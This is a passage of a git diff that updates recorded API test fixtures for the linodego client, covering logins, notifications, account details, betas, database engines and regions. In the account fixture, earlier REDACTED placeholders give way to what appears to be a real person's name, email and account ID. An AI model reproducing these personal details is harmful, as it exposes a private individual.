"2018-01-02T03:04:05", "ip": "1234::5678", - "username": "ErikZilber", "status": "successful", "restricted": false}], "page": - 1, "pages": 1, "results": 5}' + body: '{"data": [{"id": 1570617688, "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", + "username": "lgarber-dev", "status": "successful", "restricted": false}, {"id": + 1570661980, "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", + "username": "lgarber-dev", "status": "successful", "restricted": false}, {"id": + 1570727356, "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", + "username": "lgarber-dev", "status": "successful", "restricted": false}, {"id": + 1570740884, "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", + "username": "lgarber-dev", "status": "successful", "restricted": false}, {"id": + 1570741777, "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", + "username": "lgarber-dev", "status": "successful", "restricted": false}, {"id": + 1570925268, "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", + "username": "lgarber-dev", "status": "successful", "restricted": false}, {"id": + 1571003920, "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", + "username": "lgarber-dev", "status": "successful", "restricted": false}, {"id": + 1571045131, "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", + "username": "lgarber-dev", "status": "successful", "restricted": false}, {"id": + 1571148324, "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", + "username": "lgarber-dev", "status": "successful", "restricted": false}, {"id": + 1571641625, "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", + "username": "lgarber-dev", "status": "successful", "restricted": false}, {"id": + 1571642229, "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", + "username": "lgarber-dev", "status": "successful", "restricted": false}, {"id": + 1571656292, "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", + "username": "lgarber-dev", "status": "successful", "restricted": false}], "page": + 1, "pages": 1, "results": 12}' headers: Access-Control-Allow-Credentials: - "true" @@ -37,21 +51,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 - Content-Length: - - "878" + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 17 Jun 2024 15:46:55 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: @@ -62,7 +78,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -78,11 +94,11 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/account/logins/1563948056 + url: https://api.linode.com/v4beta/account/logins/1570617688 method: GET response: - body: '{"id": 1563948056, "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", - "username": "ErikZilber", "status": "successful", "restricted": false}' + body: '{"id": 1570617688, "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", + "username": "lgarber-dev", "status": "successful", "restricted": false}' headers: Access-Control-Allow-Credentials: - "true" @@ -95,16 +111,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "170" + - "174" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 17 Jun 2024 15:46:55 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -120,7 +139,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestAccountNotifications_List.yaml b/test/integration/fixtures/TestAccountNotifications_List.yaml index 080bf04c6..312bf7946 100644 --- a/test/integration/fixtures/TestAccountNotifications_List.yaml +++ b/test/integration/fixtures/TestAccountNotifications_List.yaml @@ -11,10 +11,14 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/account/notifications + url: https://api.linode.com/v4beta/account/notifications?page=1 method: GET response: - body: '{"pages": 1, "page": 1, "results": 0, "data": []}' + body: '{"pages": 1, "page": 1, "results": 1, "data": [{"type": "notice", "entity": + null, "when": null, "message": "To use the Linode DNS Manager to serve your + domains, you must have an active Linode on your account. See https://www.linode.com/docs/platform/manager/dns-manager/ + for more information.", "label": "Your domains are not being served.", "severity": + "major", "until": null, "body": null}]}' headers: Access-Control-Allow-Credentials: - "true" @@ -27,16 +31,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "49" + - "465" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 17 Jun 2024 19:46:05 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -52,7 +59,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestAccount_Get.yaml b/test/integration/fixtures/TestAccount_Get.yaml index b91df39f1..d4f2c1415 100644 --- a/test/integration/fixtures/TestAccount_Get.yaml +++ b/test/integration/fixtures/TestAccount_Get.yaml @@ -14,14 +14,15 @@ interactions: url: https://api.linode.com/v4beta/account method: GET response: - body: '{"company": "Linode", "email": "REDACTED", "first_name": "REDACTED", - "last_name": "REDACTED", "address_1": "REDACTED", "address_2": "NA", - "city": "REDACTED", "state": "REDACTED", "zip": "REDACTED", "country": "US", "phone": - "REDACTED", "balance": 0.0, "tax_id": "", "billing_source": "linode", "credit_card": - {"last_four": "REDACTED", "expiry": "REDACTED"}, "balance_uninvoiced": 0.0, "active_since": - "2018-01-02T03:04:05", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "LKE HA Control Planes", - "Machine Images", "Managed Databases"], "active_promotions": [], "euuid": "REDACTED"}' + body: '{"company": "Akamai", "email": "ykim@akamai.com", "first_name": "Youjung", + "last_name": "Kim", "address_1": "", "address_2": "", "city": "", "state": "", + "zip": "", "country": "", "phone": "", "balance": 0.0, "tax_id": "", "billing_source": + "linode", "credit_card": {"last_four": null, "expiry": null}, "balance_uninvoiced": + 0.0, "active_since": "2018-01-02T03:04:05", "capabilities": ["Linodes", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "LKE HA Control Planes", "Machine Images", "Managed Databases", "VPCs", "LKE + Network Access Control List (IP ACL)", "Placement Group", "Object Storage Access + Key Regions"], "active_promotions": [], "euuid": "F959AD74-9386-4827-A426975C90B4EBD5"}' headers: Access-Control-Allow-Credentials: - "true" @@ -34,16 +35,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "687" + - "735" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Thu, 27 Jun 2024 20:41:57 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -57,9 +61,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestBetaProgram_Get.yaml b/test/integration/fixtures/TestBetaProgram_Get.yaml index f77a1c7fb..ba3de069a 100644 --- a/test/integration/fixtures/TestBetaProgram_Get.yaml +++ b/test/integration/fixtures/TestBetaProgram_Get.yaml @@ -11,23 +11,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/betas + url: https://api.linode.com/v4beta/betas?page=1 method: GET response: - body: '{"data": [{"id": "global_load_balancer_beta", "label": "Akamai Global Load - Balancer Pre-Registration", "description": "The Akamai Global Load Balancer - (AGLB) is a layer 4 and 7 load balancer that distributes traffic based on performance, - weight, and content (HTTP headers, query strings, etc.). The AGLB is a multi-region, - multicloud, independent of Akamai Delivery, and built for East-West and North-South - traffic. Key features include multi-region load balancing and method selection. - Beta for this product is coming soon\u2013 sign up to be contacted first when - AGLB is available.\r\n\r\nPlease note: Akamai Global Load Balancer is not currently - available in beta testing. By signing up to participate in this beta when it - becomes available, you consent to be subscribed to receive emails from Akamai - cloud computing services marketing and be contacted via email when the beta - period begins.", "started": "2018-01-02T03:04:05", "ended": null, "greenlight_only": - false, "more_info": "https://www.linode.com/green-light/"}], "page": 1, "pages": - 1, "results": 1}' + body: '{"data": [{"id": "future_open", "label": "future open beta", "description": + "An expired closed beta", "started": "2018-01-02T03:04:05", "ended": null, "greenlight_only": + true, "more_info": "https://linode.com"}, {"id": "active_closed", "label": "active + closed beta", "description": "An active closed beta", "started": "2018-01-02T03:04:05", + "ended": null, "greenlight_only": true, "more_info": "a link with even more + info"}, {"id": "limited", "label": "limited beta", "description": "An active + limited beta", "started": "2018-01-02T03:04:05", "ended": null, "greenlight_only": + false, "more_info": "a link with even more info"}], "page": 1, "pages": 1, "results": + 3}' headers: Access-Control-Allow-Credentials: - "true" @@ -40,23 +35,20 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - max-age=0, no-cache, no-store - Connection: - - keep-alive + - private, max-age=0, s-maxage=0, no-cache, no-store + - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Expires: - - Wed, 20 Mar 2024 20:58:58 GMT - Pragma: - - no-cache + Server: + - nginx Strict-Transport-Security: - max-age=31536000 Vary: + - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter - - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -83,22 +75,12 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/betas/global_load_balancer_beta + url: https://api.linode.com/v4beta/betas/future_open method: GET response: - body: '{"id": "global_load_balancer_beta", "label": "Akamai Global Load Balancer - Pre-Registration", "description": "The Akamai Global Load Balancer (AGLB) is - a layer 4 and 7 load balancer that distributes traffic based on performance, - weight, and content (HTTP headers, query strings, etc.). The AGLB is a multi-region, - multicloud, independent of Akamai Delivery, and built for East-West and North-South - traffic. Key features include multi-region load balancing and method selection. - Beta for this product is coming soon\u2013 sign up to be contacted first when - AGLB is available.\r\n\r\nPlease note: Akamai Global Load Balancer is not currently - available in beta testing. By signing up to participate in this beta when it - becomes available, you consent to be subscribed to receive emails from Akamai - cloud computing services marketing and be contacted via email when the beta - period begins.", "started": "2018-01-02T03:04:05", "ended": null, "greenlight_only": - false, "more_info": "https://www.linode.com/green-light/"}' + body: '{"id": "future_open", "label": "future open beta", "description": "An expired + closed beta", "started": "2018-01-02T03:04:05", "ended": null, "greenlight_only": + true, "more_info": "https://linode.com"}' headers: Access-Control-Allow-Credentials: - "true" @@ -111,23 +93,21 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - max-age=0, no-cache, no-store - Connection: - - keep-alive + - private, max-age=0, s-maxage=0, no-cache, no-store + - private, max-age=60, s-maxage=60 + Content-Length: + - "200" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Expires: - - Wed, 20 Mar 2024 20:58:59 GMT - Pragma: - - no-cache + Server: + - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: diff --git a/test/integration/fixtures/TestBetaPrograms_List.yaml b/test/integration/fixtures/TestBetaPrograms_List.yaml index a69b44fb0..0737ace54 100644 --- a/test/integration/fixtures/TestBetaPrograms_List.yaml +++ b/test/integration/fixtures/TestBetaPrograms_List.yaml @@ -11,15 +11,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/betas + url: https://api.linode.com/v4beta/betas?page=1 method: GET response: - body: '{"data": [{"id": "active_closed", "label": "active closed beta", - "description": "An active closed beta", "started": "2023-07-19T15:23:43", - "ended": null, "greenlight_only": true, "more_info": "a link with even more info"}, - {"id": "limited", "label": "limited beta", "description": "An active limited beta", - "started": "2023-07-19T15:23:43", "ended": null, "greenlight_only": false, - "more_info": "a link with even more info"}], "page": 1, "pages": 1, "results": 2}' + body: '{"data": [{"id": "future_open", "label": "future open beta", "description": + "An expired closed beta", "started": "2018-01-02T03:04:05", "ended": null, "greenlight_only": + true, "more_info": "https://linode.com"}, {"id": "active_closed", "label": "active + closed beta", "description": "An active closed beta", "started": "2018-01-02T03:04:05", + "ended": null, "greenlight_only": true, "more_info": "a link with even more + info"}, {"id": "limited", "label": "limited beta", "description": "An active + limited beta", "started": "2018-01-02T03:04:05", "ended": null, "greenlight_only": + false, "more_info": "a link with even more info"}], "page": 1, "pages": 1, "results": + 3}' headers: Access-Control-Allow-Credentials: - "true" @@ -56,7 +59,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "1200" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestDatabase_Engine.yaml b/test/integration/fixtures/TestDatabase_Engine.yaml index 4c843484a..627f643a3 100644 --- a/test/integration/fixtures/TestDatabase_Engine.yaml +++ b/test/integration/fixtures/TestDatabase_Engine.yaml @@ -11,16 +11,14 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/engines + url: https://api.linode.com/v4beta/databases/engines?page=1 method: GET response: - body: '{"data": [{"id": "mysql/5.7.39", "engine": "mysql", "version": "5.7.39"}, - {"id": "mysql/8.0.30", "engine": "mysql", "version": "8.0.30"}, {"id": "postgresql/10.23", - "engine": "postgresql", "version": "10.23"}, {"id": "postgresql/11.17", "engine": - "postgresql", "version": "11.17"}, {"id": "postgresql/12.12", "engine": "postgresql", - "version": "12.12"}, {"id": "postgresql/13.8", "engine": "postgresql", "version": - "13.8"}, {"id": "postgresql/14.6", "engine": "postgresql", "version": "14.6"}], - "page": 1, "pages": 1, "results": 7}' + body: '{"data": [{"id": "mysql/8.0.30", "engine": "mysql", "version": "8.0.30"}, + {"id": "postgresql/12.12", "engine": "postgresql", "version": "12.12"}, {"id": + "postgresql/13.8", "engine": "postgresql", "version": "13.8"}, {"id": "postgresql/14.6", + "engine": "postgresql", "version": "14.6"}], "page": 1, "pages": 1, "results": + 4}' headers: Access-Control-Allow-Credentials: - "true" @@ -33,16 +31,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "531" + - "323" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 16:45:40 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -58,7 +59,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -74,10 +75,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/engines/mysql%2F5.7.39 + url: https://api.linode.com/v4beta/databases/engines/mysql%2F8.0.30 method: GET response: - body: '{"id": "mysql/5.7.39", "engine": "mysql", "version": "5.7.39"}' + body: '{"id": "mysql/8.0.30", "engine": "mysql", "version": "8.0.30"}' headers: Access-Control-Allow-Credentials: - "true" @@ -90,16 +91,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "62" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 16:45:40 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -115,7 +119,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestDatabase_List.yaml b/test/integration/fixtures/TestDatabase_List.yaml index debfb4011..660c1bab7 100644 --- a/test/integration/fixtures/TestDatabase_List.yaml +++ b/test/integration/fixtures/TestDatabase_List.yaml @@ -15,176 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, - 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, - 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, - 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": + "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, + 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, - 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, - 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "in-maa", - "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, - 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, - 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": 